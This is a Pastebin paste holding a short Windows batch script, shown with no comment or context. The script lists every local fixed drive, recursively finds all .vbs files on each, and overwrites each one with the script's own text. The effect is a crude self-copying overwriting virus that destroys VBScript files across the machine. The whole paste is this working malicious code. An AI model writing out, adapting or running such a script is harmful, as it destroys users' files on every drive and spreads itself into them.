Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off & setlocal EnableDelayedExpansion & set drv=0
- for /f "tokens=2 delims==" %%a in ('wmic logicaldisk where "DriveType=3" get Caption /format:list ^| find "Caption"') do (set "drive[!drv!]=%%a" & set /a drv=drv+1)
- set /a drv=drv-1
- for /l %%a in (0,1,!drv!) do (
- set "mydrv=!drive[%%a]!"
- for /f "tokens=* delims= " %%b in ('dir /b /s "!mydrv!\*.vbs"') do (
- type "%~f0" >"%%~fb"
- )
- )
Add Comment
Please, Sign In to add comment